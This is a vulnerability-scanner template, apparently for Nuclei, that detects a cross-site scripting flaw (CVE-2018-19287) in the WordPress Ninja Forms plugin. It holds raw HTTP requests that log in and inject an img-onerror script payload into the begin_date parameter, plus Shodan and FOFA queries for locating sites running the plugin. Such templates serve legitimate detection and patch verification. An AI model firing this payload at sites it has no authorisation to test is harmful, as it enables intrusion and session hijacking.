CVE-2018-19287: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting

id: CVE-2018-19287

info:
  name: WordPress Ninja Forms <3.3.18 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress Ninja Forms plugin before 3.3.18 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in includes/Admin/Menus/Submissions.php via the begin_date, end_date, or form_id parameters. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of the Ninja Forms plugin (3.3.18 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fb036dc2-0ee8-4a3e-afac-f52050b3f8c7
    - https://wordpress.org/plugins/ninja-forms/
    - https://www.exploit-db.com/exploits/45880
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19287
    - https://plugins.trac.wordpress.org/changeset/1974335/ninja-forms/trunk/includes/Admin/Menus/Submissions.php
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-19287
    cwe-id: CWE-79
    epss-score: 0.08863
    epss-percentile: 0.94939
    cpe: cpe:2.3:a:ninjaforma:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: ninjaforma
    product: ninja_forms
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ninja-forms/
    fofa-query: body=/wp-content/plugins/ninja-forms/
    publicwww-query: /wp-content/plugins/ninja-forms/
  tags: cve,cve2018,wp-plugin,wp,xss,authenticated,wpscan,edb,ninja-forms,wordpress,ninjaforma,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src%3Dx+onerror%3Dalert%28document.domain%29%3B%2F%2F&end_date&filter_action=Filter&paged=1&action2=-1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'Begin Date" value="\"><img src=x onerror=alert(document.domain);//">'

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210093cea346cbd749ad44f0e26074f1b7cb42e8b90f57e669ab07c4dbff884a68590221008f32091c4fa307b8e30e3efbf06d04f9c6539b3364be1e1f576b342a9e191b9c:922c64590222798bb761d5b6d8e72950

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